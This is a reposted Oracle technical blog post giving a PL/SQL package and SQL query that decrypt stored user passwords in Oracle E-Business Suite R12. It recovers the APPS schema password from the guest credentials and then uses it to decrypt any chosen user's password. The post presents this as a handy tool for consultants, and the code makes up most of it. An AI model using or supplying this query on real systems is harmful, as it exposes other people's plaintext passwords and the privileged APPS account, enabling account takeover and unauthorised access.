ITPub博客

首页 > 数据库 > Oracle > [Decrypting User Password]How to find password of a User in Oracle Apps R12?

[Decrypting User Password]How to find password of a User in Oracle Apps R12?

原创 Oracle 作者:pan_tian 时间:2014-07-02 12:30:29 0 删除 编辑

THIS WORKS WITH ORACLE R12

Here is a wonderful oracle seeded Procedure fnd_web_sec.get_guest_username_pwd which will help us to find out user password.

This will be handy for consultants in resolving the issues. Please use with this care and dont misuse this.

To achieve this you need to create a small package and run a query which I wrote below

--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/
--Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME \'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String\';
END get_pwd;
/
--Query to execute
SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           \'/\'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
 WHERE usr.user_name = \'&USER_NAME\';
zz:http://oracleappsdna.com/2011/07/decrypting-user-passwordhow-to-find-password-of-a-user-in-oracle-apps-r12/
<!-- Baidu Button BEGIN -->

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/26687597/viewspace-1203832/ ,如需转载,请注明出处,否则将追究法律责任。

上一篇: Oracle Apps Script to create a new User Login Account
下一篇: Oracle EBS里,如何通过脚本查看客户针对某个Form的做了哪些Personalization
请登录后发表评论 登录
全部评论
暂无介绍

注册时间:2012-02-18

最新文章